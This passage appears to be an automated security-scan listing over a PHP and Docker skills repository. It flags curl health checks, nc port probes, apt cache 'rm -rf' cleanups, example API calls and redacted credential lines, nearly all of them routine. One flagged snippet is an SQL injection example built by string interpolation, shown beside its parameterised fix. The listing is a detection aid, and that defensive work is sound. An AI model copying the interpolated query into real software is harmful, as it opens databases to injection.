{ return is_resource($this->curl) || $this->curl instanceof \CurlHandle; } - Network accessline 230
return is_resource($this->curl) || $this->curl instanceof \CurlHandle;
skills/create-psalm-config/SKILL.md
- Network accessline 29
findUnusedCode="true" findUnusedVariablesAndParams="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 30
findUnusedVariablesAndParams="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://getpsalm.org/schema/config" - Network accessline 31
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 32
xmlns="https://getpsalm.org/schema/config" - Network accessline 33
xsi:schemaLocation="https://getpsalm.org/schema/config vendor/vimeo/psalm/config.xsd" - Network accessline 55
errorBaseline="psalm-baseline.xml" findUnusedBaselineEntry="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 56
findUnusedBaselineEntry="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://getpsalm.org/schema/config" - Network accessline 57
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 58
xmlns="https://getpsalm.org/schema/config" - Network accessline 59
xsi:schemaLocation="https://getpsalm.org/schema/config vendor/vimeo/psalm/config.xsd" - Network accessline 88
strictBinaryOperands="true" phpVersion="8.4" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 89
phpVersion="8.4" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://getpsalm.org/schema/config" - Network accessline 90
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 91
xmlns="https://getpsalm.org/schema/config" - Network accessline 92
xsi:schemaLocation="https://getpsalm.org/schema/config vendor/vimeo/psalm/config.xsd" - Network accessline 258
errorLevel="2" resolveFromConfigFile="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 259
resolveFromConfigFile="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://getpsalm.org/schema/config" - Network accessline 260
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 261
xmlns="https://getpsalm.org/schema/config" - Network accessline 262
xsi:schemaLocation="https://getpsalm.org/schema/config vendor/vimeo/psalm/config.xsd"
skills/create-psr15-middleware/references/examples.md
- Network accessline 29
// CORS (before authentication) ->pipe(new CorsMiddleware( allowedOrigins: ['https://example.com'], - Network accessline 30
->pipe(new CorsMiddleware( allowedOrigins: ['https://example.com'], )) - Network accessline 31
allowedOrigins: ['https://example.com'], - Network accessline 176
$pipeline = (new MiddlewarePipeline(new OkHandler())) ->pipe(new LoggingMiddleware($logger)) ->pipe(new CorsMiddleware(['http://localhost:3000'])) - Network accessline 177
->pipe(new LoggingMiddleware($logger)) ->pipe(new CorsMiddleware(['http://localhost:3000'])) ->pipe(new RateLimitMiddleware($cache, 10, 60)); - Network accessline 178
->pipe(new CorsMiddleware(['http://localhost:3000'])) - Network accessline 181
$request = (new ServerRequest('GET', '/api/users')) ->withHeader('Origin', 'http://localhost:3000'); - Network accessline 182
->withHeader('Origin', 'http://localhost:3000'); - Network accessline 186
self::assertSame(200, $response->getStatusCode()); self::assertSame('http://localhost:3000', $response->getHeaderLine('Access-Control-Allow-Origin')); - Network accessline 187
self::assertSame('http://localhost:3000', $response->getHeaderLine('Access-Control-Allow-Origin'));
skills/create-psr17-http-factory/SKILL.md
- Network accessline 142
// Create request $request = $factory->createRequest('GET', 'https://api.example.com/users'); - Network accessline 143
$request = $factory->createRequest('GET', 'https://api.example.com/users'); - Network accessline 155
// Create URI $uri = $factory->createUri('https://example.com/path?query=value'); - Network accessline 156
$uri = $factory->createUri('https://example.com/path?query=value');
skills/create-psr18-http-client/SKILL.md
- Network accessline 252
// Send GET request $request = $factory->createRequest('GET', 'https://api.example.com/users') - Network accessline 253
$request = $factory->createRequest('GET', 'https://api.example.com/users') - Network accessline 259
// Send POST request $request = $factory->createRequest('POST', 'https://api.example.com/users') - Network accessline 260
$request = $factory->createRequest('POST', 'https://api.example.com/users')
skills/create-psr18-http-client/references/examples.md
- Network accessline 16
final readonly class StripeClient { private const BASE_URL = 'https://api.stripe.com/v1'; - Network accessline 18
private const BASE_URL = 'https://api.stripe.com/v1'; - Network accessline 69
{ $response = $this->client ->baseUrl('http://user-service:8080') - Network accessline 70
$response = $this->client ->baseUrl('http://user-service:8080') ->bearerToken($this->getServiceToken()) - Network accessline 71
->baseUrl('http://user-service:8080') - Network accessline 83
{ $response = $this->client ->baseUrl('http://user-service:8080') - Network accessline 84
$response = $this->client ->baseUrl('http://user-service:8080') ->bearerToken($this->getServiceToken()) - Network accessline 85
->baseUrl('http://user-service:8080')
skills/create-psr6-cache/references/templates.md
- Dangerous shell operationline 146
$this->redis->exec();
skills/create-psr7-http-message/references/examples.md
- Network accessline 12
// Simple GET request $request = new Request('GET', 'https://api.example.com/users'); - Network accessline 13
$request = new Request('GET', 'https://api.example.com/users'); - Network accessline 15
// POST request with JSON body $body = new Stream(json_encode(['name' => 'John', 'email' => 'john@example.com'])); $request = new Request('POST', 'https://api.example.com/users'); - Network accessline 16
$body = new Stream(json_encode(['name' => 'John', 'email' => 'john@example.com'])); $request = new Request('POST', 'https://api.example.com/users'); $request = $request - Network accessline 17
$request = new Request('POST', 'https://api.example.com/users'); - Network accessline 49
// Redirect response $response = (new Response(302)) ->withHeader('Location', 'https://example.com/new-location'); - Network accessline 51
->withHeader('Location', 'https://example.com/new-location');
skills/create-timeout/references/examples.md
skills/deployment-knowledge/references/blue-green.md
- Network accessline 401
echo "Waiting for health check..." for i in $(seq 1 "$MAX_RETRIES"); do HEALTH=$(curl -sf "http://php-${INACTIVE_SLOT}:8080/health/ready" 2>/dev/null || echo '{}') - Network accessline 402
for i in $(seq 1 "$MAX_RETRIES"); do HEALTH=$(curl -sf "http://php-${INACTIVE_SLOT}:8080/health/ready" 2>/dev/null || echo '{}') STATUS=$(echo "$HEALTH" | jq -r '.status // "unknown"') - Network accessline 403
HEALTH=$(curl -sf "http://php-${INACTIVE_SLOT}:8080/health/ready" 2>/dev/null || echo '{}') - Network accessline 421
# 3. Run smoke tests against inactive slot echo "Running smoke tests..." if ! ./scripts/smoke-test.sh "http://php-${INACTIVE_SLOT}:8080"; then - Network accessline 422
echo "Running smoke tests..." if ! ./scripts/smoke-test.sh "http://php-${INACTIVE_SLOT}:8080"; then echo "ERROR: Smoke tests failed, aborting deployment" - Network accessline 423
if ! ./scripts/smoke-test.sh "http://php-${INACTIVE_SLOT}:8080"; then - Network accessline 434
# 5. Post-switch verification sleep 5 ERROR_RATE=$(curl -sf "http://localhost/metrics" | grep error_rate | awk '{print $2}') - Network accessline 435
sleep 5 ERROR_RATE=$(curl -sf "http://localhost/metrics" | grep error_rate | awk '{print $2}') if (( $(echo "$ERROR_RATE > 5" | bc -l) )); then - Network accessline 436
ERROR_RATE=$(curl -sf "http://localhost/metrics" | grep error_rate | awk '{print $2}') - Network accessline 535
# Verify rollback target is still healthy HEALTH=$(curl -sf "http://php-${ROLLBACK_TO}:8080/health/ready" || echo '{}') - Network accessline 536
HEALTH=$(curl -sf "http://php-${ROLLBACK_TO}:8080/health/ready" || echo '{}') - Network accessline 550
echo "Rolled back to ${ROLLBACK_TO}" echo "Verify: curl -sf http://localhost/health/ready | jq ." - Network accessline 551
echo "Verify: curl -sf http://localhost/health/ready | jq ." - Network accessline 602
for i in $(seq 1 30); do STATUS=$(ssh deploy@${{ vars.DEPLOY_HOST }} \ "curl -sf http://php-${SLOT}:8080/health/ready | jq -r .status" 2>/dev/null || echo "unknown") - Network accessline 603
STATUS=$(ssh deploy@${{ vars.DEPLOY_HOST }} \ "curl -sf http://php-${SLOT}:8080/health/ready | jq -r .status" 2>/dev/null || echo "unknown") if [[ "$STATUS" == "ready" ]]; then - Network accessline 604
"curl -sf http://php-${SLOT}:8080/health/ready | jq -r .status" 2>/dev/null || echo "unknown") - Network accessline 616
run: | SLOT=${{ steps.slot.outputs.inactive }} ssh deploy@${{ vars.DEPLOY_HOST }} "./scripts/smoke-test.sh http://php-${SLOT}:8080" - Network accessline 618
ssh deploy@${{ vars.DEPLOY_HOST }} "./scripts/smoke-test.sh http://php-${SLOT}:8080" - Network accessline 630
sleep 10 STATUS=$(ssh deploy@${{ vars.DEPLOY_HOST }} \ "curl -sf http://localhost/health/ready | jq -r .status") - Network accessline 631
STATUS=$(ssh deploy@${{ vars.DEPLOY_HOST }} \ "curl -sf http://localhost/health/ready | jq -r .status") if [[ "$STATUS" != "ready" ]]; then - Network accessline 632
"curl -sf http://localhost/health/ready | jq -r .status") - Network accessline 644
if: success() run: | curl -X POST "${{ secrets.SLACK_WEBHOOK }}" \ - Network accessline 645
run: | curl -X POST "${{ secrets.SLACK_WEBHOOK }}" \ -H 'Content-Type: application/json' \ - Network accessline 646
curl -X POST "${{ secrets.SLACK_WEBHOOK }}" \ - Network accessline 651
if: failure() run: | curl -X POST "${{ secrets.SLACK_WEBHOOK }}" \ - Network accessline 652
run: | curl -X POST "${{ secrets.SLACK_WEBHOOK }}" \ -H 'Content-Type: application/json' \ - Network accessline 653
curl -X POST "${{ secrets.SLACK_WEBHOOK }}" \
skills/deployment-knowledge/references/canary.md
- Network accessline 189
# QA can force canary access: curl -H "X-Canary: true" https://example.com/api/orders - Network accessline 190
curl -H "X-Canary: true" https://example.com/api/orders - Network accessline 486
PROMETHEUS_URL="${PROMETHEUS_URL:-http://prometheus:9090}" - Network accessline 491
# Error rate check ERROR_RATE=$(curl -sf "${PROMETHEUS_URL}/api/v1/query" \ - Network accessline 492
ERROR_RATE=$(curl -sf "${PROMETHEUS_URL}/api/v1/query" \ - Network accessline 502
# P99 latency check P99_LATENCY=$(curl -sf "${PROMETHEUS_URL}/api/v1/query" \ - Network accessline 503
P99_LATENCY=$(curl -sf "${PROMETHEUS_URL}/api/v1/query" \ - Network accessline 513
# Success rate check SUCCESS_RATE=$(curl -sf "${PROMETHEUS_URL}/api/v1/query" \ - Network accessline 514
SUCCESS_RATE=$(curl -sf "${PROMETHEUS_URL}/api/v1/query" \ - Network accessline 694
run: | STATUS="${{ job.status }}" curl -X POST "${{ secrets.SLACK_WEBHOOK }}" \ - Network accessline 695
STATUS="${{ job.status }}" curl -X POST "${{ secrets.SLACK_WEBHOOK }}" \ -H 'Content-Type: application/json' \ - Network accessline 696
curl -X POST "${{ secrets.SLACK_WEBHOOK }}" \
skills/deployment-knowledge/references/feature-flags.md
- Access to secretsline 890
[Credential-related source omitted]
skills/detect-ci-antipatterns/references/patterns.md
- Network accessline 109
[Credential-related source omitted] - Network accessline 111
[Credential-related source omitted] - Network accessline 116
[Credential-related source omitted] - Network accessline 117
[Credential-related source omitted] - Network accessline 118
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted]
skills/detect-code-smells/SKILL.md
skills/detect-docker-antipatterns/SKILL.md
- Dangerous shell operationline 34
RUN apt-get update && apt-get install -y --no-install-recommends libpng-dev && rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 35
libpng-dev && rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 55
RUN apt-get update && apt-get install -y --no-install-recommends libzip-dev && rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 56
libzip-dev && rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 82
RUN apt-get update && apt-get install -y --no-install-recommends libzip-dev && rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 83
libzip-dev && rm -rf /var/lib/apt/lists/* - Access to secretsline 93
[Credential-related source omitted]
skills/detect-memory-issues/SKILL.md
- Network accessline 72
$allItems = []; do { $items = $api->fetch($page++); - Network accessline 73
do { $items = $api->fetch($page++); $allItems = array_merge($allItems, $items); - Network accessline 74
$items = $api->fetch($page++); - Network accessline 79
$page = 1; do { $items = $api->fetch($page++); - Network accessline 80
do { $items = $api->fetch($page++); foreach ($items as $item) { - Network accessline 81
$items = $api->fetch($page++);
skills/diagram-knowledge/references/sequence-patterns.md
skills/discover-project-logs/SKILL.md
skills/docker-buildkit-knowledge/SKILL.md
- Access to secretsline 147
[Credential-related source omitted]
skills/docker-compose-knowledge/SKILL.md
- Network accessline 112
- frontend healthcheck: test: ["CMD", "curl", "-f", "http://localhost/health"] - Network accessline 113
healthcheck: test: ["CMD", "curl", "-f", "http://localhost/health"] interval: 10s - Network accessline 114
test: ["CMD", "curl", "-f", "http://localhost/health"] - Network accessline 193
image: elasticsearch:8.15.0 healthcheck: test: ["CMD-SHELL", "curl -sf http://localhost:9200/_cluster/health || exit 1"] - Network accessline 194
healthcheck: test: ["CMD-SHELL", "curl -sf http://localhost:9200/_cluster/health || exit 1"] interval: 10s - Network accessline 195
test: ["CMD-SHELL", "curl -sf http://localhost:9200/_cluster/health || exit 1"] - Access to secretsline 235
[Credential-related source omitted] - Access to secretsline 238
[Credential-related source omitted] - Access to secretsline 244
[Credential-related source omitted] - Access to secretsline 247
[Credential-related source omitted]
skills/docker-compose-knowledge/references/service-configs.md
- Network accessline 116
- elasticsearch-data:/usr/share/elasticsearch/data healthcheck: test: ["CMD-SHELL", "curl -sf http://localhost:9200/_cluster/health || exit 1"] - Network accessline 117
healthcheck: test: ["CMD-SHELL", "curl -sf http://localhost:9200/_cluster/health || exit 1"] interval: 10s - Network accessline 118
test: ["CMD-SHELL", "curl -sf http://localhost:9200/_cluster/health || exit 1"] - Network accessline 146
condition: service_healthy healthcheck: test: ["CMD", "curl", "-f", "http://localhost/health"] - Network accessline 147
healthcheck: test: ["CMD", "curl", "-f", "http://localhost/health"] interval: 10s - Network accessline 148
test: ["CMD", "curl", "-f", "http://localhost/health"] - Access to secretsline 218
[Credential-related source omitted] - Access to secretsline 219
[Credential-related source omitted]
skills/docker-knowledge/SKILL.md
skills/docker-knowledge/references/compose-patterns.md
- Network accessline 22
condition: service_healthy healthcheck: test: ["CMD", "curl", "-f", "http://localhost/health"] - Network accessline 23
healthcheck: test: ["CMD", "curl", "-f", "http://localhost/health"] interval: 30s - Network accessline 24
test: ["CMD", "curl", "-f", "http://localhost/health"] - Network accessline 90
- backend healthcheck: test: ["CMD", "curl", "-f", "http://localhost/health"] - Network accessline 91
healthcheck: test: ["CMD", "curl", "-f", "http://localhost/health"] interval: 30s - Network accessline 92
test: ["CMD", "curl", "-f", "http://localhost/health"] - Network accessline 265
| Service | Check Method | Interval | Start Period | |---------|-------------|----------|-------------| | Nginx | `curl -f http://localhost/health` | 30s | 5s | - Network accessline 266
|---------|-------------|----------|-------------| | Nginx | `curl -f http://localhost/health` | 30s | 5s | | PHP-FPM | `cgi-fcgi -bind -connect 127.0.0.1:9000` | 30s | 10s | - Network accessline 267
| Nginx | `curl -f http://localhost/health` | 30s | 5s | - Network accessline 271
| Redis | `redis-cli ping` | 10s | 5s | | RabbitMQ | `rabbitmq-diagnostics -q ping` | 30s | 60s | | Elasticsearch | `curl -f http://localhost:9200/_cluster/health` | 30s | 60s | - Network accessline 273
| Elasticsearch | `curl -f http://localhost:9200/_cluster/health` | 30s | 60s | - Access to secretsline 347
[Credential-related source omitted] - Access to secretsline 350
[Credential-related source omitted]
skills/docker-knowledge/references/image-selection.md
- Dangerous shell operationline 125
RUN apt-get update && apt-get install -y git unzip libzip-dev libicu-dev && docker-php-ext-install zip intl pdo_mysql opcache && pecl install xdebug && docker-php-ext-enable xdebug && rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 130
&& rm -rf /var/lib/apt/lists/*
skills/docker-knowledge/references/production-checklist.md
- Dangerous shell operationline 50
RUN apk add --no-cache --virtual .build-deps $PHPIZE_DEPS libzip-dev icu-dev && apk add --no-cache libzip icu-libs && docker-php-ext-install zip intl pdo_mysql opcache && pecl install redis && docker-php-ext-enable redis - Dangerous shell operationline 55
&& rm -rf /tmp/pear - Access to secretsline 385
[Credential-related source omitted]
skills/docker-knowledge/references/security-hardening.md
- Access to secretsline 145
[Credential-related source omitted] - Network accessline 147
[Credential-related source omitted] - Network accessline 148
[Credential-related source omitted] - Network accessline 311
# Verify downloaded files RUN curl -o file.tar.gz https://example.com/file.tar.gz \ - Network accessline 312
RUN curl -o file.tar.gz https://example.com/file.tar.gz \
skills/docker-multistage-knowledge/SKILL.md
- Dangerous shell operationline 253
| Removed package cache | ~10MB | `apk add --no-cache` or `rm -rf /var/cache/apk/*` |
skills/docker-networking-knowledge/SKILL.md
skills/docker-orchestration-knowledge/SKILL.md
skills/docker-php-extensions-knowledge/SKILL.md
skills/docker-production-knowledge/SKILL.md
skills/docker-troubleshooting-knowledge/SKILL.md
- Network accessline 157
# Check port connectivity docker exec <container> nc -zv postgres 5432 - Network accessline 158
docker exec <container> nc -zv postgres 5432 - Network accessline 264
| +-- Running --> Check nginx upstream config | +-- Check: docker exec nginx curl http://php:9000/ping - Network accessline 265
| +-- Check: docker exec nginx curl http://php:9000/ping | - Network accessline 266
+-- Check: docker exec nginx curl http://php:9000/ping
skills/documentation-knowledge/references/api-documentation.md
- Network accessline 17
servers: - url: https://api.example.com/v2 - Network accessline 18
- url: https://api.example.com/v2 - Network accessline 19
description: Production - url: https://staging-api.example.com/v2 description: Staging - Network accessline 20
- url: https://staging-api.example.com/v2 - Network accessline 219
| Version | Base URL | Status | |---------|----------|--------| | v2 | `https://api.example.com/v2` | **Current** | - Network accessline 220
|---------|----------|--------| | v2 | `https://api.example.com/v2` | **Current** | | v1 | `https://api.example.com/v1` | Deprecated (sunset: 2026-06-01) | - Network accessline 221
| v2 | `https://api.example.com/v2` | **Current** | - Network accessline 222
| v1 | `https://api.example.com/v1` | Deprecated (sunset: 2026-06-01) | - Network accessline 244
{ "type": "https://api.example.com/errors/validation", - Network accessline 245
"type": "https://api.example.com/errors/validation",
skills/documentation-knowledge/references/architecture-docs.md
- Dangerous shell operationline 126
participant RM as Read Model
skills/documentation-knowledge/references/readme-patterns.md
- Network accessline 10
[](https://github.com/owner/repo/actions) - Network accessline 11
[](https://codecov.io/gh/owner/repo) - Network accessline 12
[](https://phpstan.org/) - Network accessline 13
[](https://packagist.org/packages/vendor/package) - Network accessline 14
[](LICENSE) - Network accessline 161
# GitHub Actions [](https://github.com/owner/repo/actions) - Network accessline 162
[](https://github.com/owner/repo/actions) - Network accessline 164
# GitLab CI [](https://gitlab.com/owner/repo/-/pipelines) - Network accessline 165
[](https://gitlab.com/owner/repo/-/pipelines) - Network accessline 171
# PHPStan Level [](https://phpstan.org/) - Network accessline 172
[](https://phpstan.org/) - Network accessline 174
# Code Coverage [](https://codecov.io/gh/owner/repo) - Network accessline 175
[](https://codecov.io/gh/owner/repo) - Network accessline 177
# Psalm Level [](https://psalm.dev/) - Network accessline 178
[](https://psalm.dev/) - Network accessline 184
# Packagist Version [](https://packagist.org/packages/vendor/package) - Network accessline 185
[](https://packagist.org/packages/vendor/package) - Network accessline 187
# PHP Version [](https://packagist.org/packages/vendor/package) - Network accessline 188
[](https://packagist.org/packages/vendor/package) - Network accessline 190
# Downloads [](https://packagist.org/packages/vendor/package) - Network accessline 191
[](https://packagist.org/packages/vendor/package) - Network accessline 193
# License [](LICENSE) - Network accessline 194
[](LICENSE)
skills/documentation-qa-knowledge/references/automation.md
- Network accessline 90
{ "ignorePatterns": [ { "pattern": "^https://localhost" }, - Network accessline 91
"ignorePatterns": [ { "pattern": "^https://localhost" }, { "pattern": "^https://api\\.example\\.com" } - Network accessline 92
{ "pattern": "^https://localhost" }, - Network accessline 93
{ "pattern": "^https://api\\.example\\.com" } - Network accessline 101
"httpHeaders": [ { "urls": ["https://github.com"], - Network accessline 102
{ "urls": ["https://github.com"], "headers": { - Network accessline 103
"urls": ["https://github.com"], - Network accessline 182
- name: Generate API Docs run: | wget https://phpdoc.org/phpDocumentor.phar - Network accessline 183
run: | wget https://phpdoc.org/phpDocumentor.phar php phpDocumentor.phar --directory=src/ --target=docs/api/generated/ - Network accessline 184
wget https://phpdoc.org/phpDocumentor.phar
skills/eda-knowledge/references/antipatterns.md
- Network accessline 33
{ // Synchronous HTTP call in event handler! $this->httpClient->request('POST', 'http://warehouse/api/reserve', [ - Network accessline 34
// Synchronous HTTP call in event handler! $this->httpClient->request('POST', 'http://warehouse/api/reserve', [ 'json' => ['order_id' => $event->orderId], - Network accessline 35
$this->httpClient->request('POST', 'http://warehouse/api/reserve', [
skills/find-infinite-loops/SKILL.md
- Network accessline 137
// BUG: Infinite retry function fetch(string $url): string - Network accessline 138
function fetch(string $url): string - Network accessline 150
// FIXED: function fetch(string $url, int $maxRetries = 3): string - Network accessline 151
function fetch(string $url, int $maxRetries = 3): string
skills/find-resource-leaks/SKILL.md
- Network accessline 54
// BUG: cURL handle not closed
skills/generate-bug-fix/references/templates.md
- Network accessline 443
{ $sql = "SELECT * FROM users WHERE email = '$email'"; return $this->connection->query($sql)->fetch(); - Network accessline 444
$sql = "SELECT * FROM users WHERE email = '$email'"; return $this->connection->query($sql)->fetch(); } - Network accessline 445
return $this->connection->query($sql)->fetch(); - Network accessline 452
$stmt = $this->connection->prepare($sql); $stmt->execute(['email' => $email]); return $stmt->fetch() ?: null; - Network accessline 453
$stmt->execute(['email' => $email]); return $stmt->fetch() ?: null; } - Network accessline 454
return $stmt->fetch() ?: null;
skills/generate-ci-fix/SKILL.md
skills/generate-ci-fix/references/workflow.md
- Network accessline 100
/acc:ci-fix https://github.com/org/repo/actions/runs/12345
skills/getting-started-template/SKILL.md
- Access to secretsline 83
[Credential-related source omitted] - Access to secretsline 109
[Credential-related source omitted] - Access to secretsline 119
[Credential-related source omitted] - Access to secretsline 127
[Credential-related source omitted] - Access to secretsline 153
[Credential-related source omitted] - Access to secretsline 227
[Credential-related source omitted] - Network accessline 269
- 📚 [FAQ](faq.md) — Frequently asked questions - 🐛 [Troubleshooting](troubleshooting.md) — Common issues - 💬 [Community](https://github.com/vendor/package/discussions) — Ask questions - Network accessline 270
- 🐛 [Troubleshooting](troubleshooting.md) — Common issues - 💬 [Community](https://github.com/vendor/package/discussions) — Ask questions - 🐙 [GitHub Issues](https://github.com/vendor/package/issues) — Report bugs - Network accessline 271
- 💬 [Community](https://github.com/vendor/package/discussions) — Ask questions - Network accessline 272
- 🐙 [GitHub Issues](https://github.com/vendor/package/issues) — Report bugs - Access to secretsline 340
[Credential-related source omitted]
skills/hexagonal-knowledge/references/testing-patterns.md
- Access to secretsline 297
[Credential-related source omitted]
skills/laravel-knowledge/references/antipatterns.md
- Network accessline 439
{ // External API call with no resilience Http::post('https://api.stripe.com/v1/charges', $this->data); - Network accessline 440
// External API call with no resilience Http::post('https://api.stripe.com/v1/charges', $this->data); } - Network accessline 441
Http::post('https://api.stripe.com/v1/charges', $this->data);
skills/laravel-knowledge/references/infrastructure-components.md
- Network accessline 220
->retry(3, 100, throw: false) ->timeout(10) ->post('https://api.stripe.com/v1/charges', [ - Network accessline 221
->timeout(10) ->post('https://api.stripe.com/v1/charges', [ 'amount' => $amount->cents(), - Network accessline 222
->post('https://api.stripe.com/v1/charges', [ - Network accessline 239
$response = Http::withToken($this->apiKey) ->retry(2, 200) ->post('https://api.stripe.com/v1/refunds', [ - Network accessline 240
->retry(2, 200) ->post('https://api.stripe.com/v1/refunds', [ 'charge' => $id->value(), - Network accessline 241
->post('https://api.stripe.com/v1/refunds', [ - Network accessline 257
$responses = Http::pool(fn (Pool $pool) => [ $pool->as('inventory')->get("https://api.warehouse.com/stock/{$productId}"), - Network accessline 258
$pool->as('inventory')->get("https://api.warehouse.com/stock/{$productId}"), - Network accessline 259
$pool->as('pricing')->get("https://api.pricing.com/price/{$productId}"), - Network accessline 260
$pool->as('shipping')->get("https://api.shipping.com/estimate/{$productId}"), - Network accessline 266
// In AppServiceProvider::boot() Http::macro('stripe', fn () => Http::withToken(config('services.stripe.key')) ->baseUrl('https://api.stripe.com/v1') - Network accessline 267
Http::macro('stripe', fn () => Http::withToken(config('services.stripe.key')) ->baseUrl('https://api.stripe.com/v1') ->retry(3, 100) - Network accessline 268
->baseUrl('https://api.stripe.com/v1')
skills/no-framework-knowledge/references/architecture.md
- Access to secretsline 63
[Credential-related source omitted]
skills/no-framework-knowledge/references/infrastructure-components.md
- Network accessline 124
| `guzzlehttp/guzzle` | PSR-18 | Full-featured, middleware, retry | | `symfony/http-client` | PSR-18 | Scoped clients, async, retry | | `php-http/curl-client` | PSR-18 | Lightweight cURL wrapper | - Network accessline 126
| `php-http/curl-client` | PSR-18 | Lightweight cURL wrapper | - Network accessline 141
$client = new Client([ 'base_uri' => 'https://api.example.com/v1/', - Network accessline 142
'base_uri' => 'https://api.example.com/v1/', - Access to secretsline 414
[Credential-related source omitted]
skills/no-framework-knowledge/references/persistence.md
- Network accessline 68
<!-- src/Infrastructure/Persistence/Doctrine/Mapping/Domain.Order.Entity.Order.dcm.xml --> <doctrine-mapping xmlns="http://doctrine-project.org/schemas/orm/doctrine-mapping"> - Network accessline 69
<doctrine-mapping xmlns="http://doctrine-project.org/schemas/orm/doctrine-mapping"> - Network accessline 196
$stmt = $this->pdo->prepare('SELECT * FROM orders WHERE id = :id'); $stmt->execute(['id' => $id->value]); $row = $stmt->fetch(\PDO::FETCH_ASSOC); - Network accessline 198
$row = $stmt->fetch(\PDO::FETCH_ASSOC);
skills/no-framework-knowledge/references/security.md
- Network accessline 84
$config->setValidationConstraints( new IssuedBy('https://api.example.com'), - Network accessline 85
new IssuedBy('https://api.example.com'), - Network accessline 86
new PermittedFor('https://api.example.com'), - Network accessline 115
[Credential-related source omitted] - Network accessline 116
->issuedBy('https://api.example.com') - Network accessline 117
->permittedFor('https://api.example.com')
skills/no-framework-knowledge/references/testing.md
skills/optimize-docker-build-time/SKILL.md
- Dangerous shell operationline 160
RUN apt-get update && apt-get install -y --no-install-recommends libzip-dev libicu-dev libpng-dev && docker-php-ext-install pdo_mysql intl zip gd && apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false - Dangerous shell operationline 164
&& rm -rf /var/lib/apt/lists/*
skills/optimize-docker-image-size/SKILL.md
- Dangerous shell operationline 97
RUN apt-get update && apt-get install -y --no-install-recommends libzip-dev libicu-dev && docker-php-ext-install pdo_mysql intl zip && apt-get purge -y --auto-remove libzip-dev libicu-dev && rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 101
&& rm -rf /var/lib/apt/lists/*
skills/optimize-docker-layers/SKILL.md
- Dangerous shell operationline 122
RUN apt-get update && apt-get install -y git curl && rm -rf /var/lib/apt/lists/* - Network accessline 122
RUN apt-get update && apt-get install -y \ git \ curl \ - Network accessline 123
git \ curl \ && rm -rf /var/lib/apt/lists/* - Network accessline 124
curl \ - Dangerous shell operationline 125
&& rm -rf /var/lib/apt/lists/*
skills/optimize-docker-startup/SKILL.md
- Network accessline 178
for i in $(seq 1 "$TIMEOUT"); do nc -z "$HOST" "$PORT" 2>/dev/null && exit 0 - Network accessline 179
nc -z "$HOST" "$PORT" 2>/dev/null && exit 0 - Network accessline 215
# Option 1: TCP check (fastest, ~1ms) nc -z 127.0.0.1 9000 2>/dev/null || exit 1 - Network accessline 216
nc -z 127.0.0.1 9000 2>/dev/null || exit 1
skills/outbox-pattern-knowledge/references/outbox-patterns.md
- Dangerous shell operationline 145
$this->connection->exec('LISTEN outbox_channel');
skills/psr-overview-knowledge/references/php-fig-process.md
- Network accessline 7
**Website:** https://www.php-fig.org/ - Network accessline 139
1. Read existing PSRs at https://www.php-fig.org/psr/ - Network accessline 156
- **Website:** https://www.php-fig.org/ - Network accessline 157
- **GitHub:** https://github.com/php-fig - Network accessline 158
- **PSR List:** https://www.php-fig.org/psr/ - Network accessline 162
- **Interface Packages:** https://packagist.org/packages/psr/ - Network accessline 166
- **Bylaws:** https://www.php-fig.org/bylaws/ - Network accessline 167
- **Workflow:** https://www.php-fig.org/bylaws/psr-workflow/
skills/readme-template/SKILL.md
- Network accessline 57
[](https://github.com/{owner}/{repo}/actions) - Network accessline 58
[](https://codecov.io/gh/{owner}/{repo}) - Network accessline 59
[](https://packagist.org/packages/{vendor}/{package}) - Network accessline 60
[](https://packagist.org/packages/{vendor}/{package}) - Network accessline 61
[](LICENSE) - Network accessline 67
[](https://github.com/{owner}/{repo}/actions) - Network accessline 68
[](https://packagist.org/packages/{vendor}/{package}) - Access to secretsline 129
[Credential-related source omitted] - Access to secretsline 130
[Credential-related source omitted] - Network accessline 196
[](https://github.com/vendor/awesome-package/actions) - Network accessline 197
[](https://codecov.io/gh/vendor/awesome-package) - Network accessline 198
[](https://packagist.org/packages/vendor/awesome-package) - Network accessline 199
[](https://packagist.org/packages/vendor/awesome-package) - Network accessline 200
[](LICENSE)
skills/replication-sharding-knowledge/SKILL.md
- Network accessline 259
$row = $stmt->fetch();
skills/replication-sharding-knowledge/references/read-write-patterns.md
- Dangerous shell operationline 333
$this->primary->exec(sprintf('SAVEPOINT sp_%d', $this->transactionDepth)); - Dangerous shell operationline 347
$this->primary->exec(sprintf('RELEASE SAVEPOINT sp_%d', $this->transactionDepth)); - Dangerous shell operationline 359
$this->primary->exec(sprintf( - Network accessline 397
$row = $stmt->fetch(\PDO::FETCH_ASSOC); - Network accessline 440
{ $stmt = $this->replica->query('SHOW SLAVE STATUS'); $row = $stmt->fetch(\PDO::FETCH_ASSOC); - Network accessline 442
$row = $stmt->fetch(\PDO::FETCH_ASSOC); - Network accessline 497
try { $stmt = $replica->query('SELECT 1'); $stmt->fetch(); - Network accessline 499
$stmt->fetch();
skills/scalability-knowledge/SKILL.md
- Dangerous shell operationline 221
$pdo->exec(sprintf(
skills/stability-patterns-knowledge/references/rate-limiting.md
skills/symfony-knowledge/references/ddd-integration.md
skills/symfony-knowledge/references/infrastructure-components.md
- Network accessline 348
scoped_clients: stripe.client: base_uri: 'https://api.stripe.com' - Network accessline 349
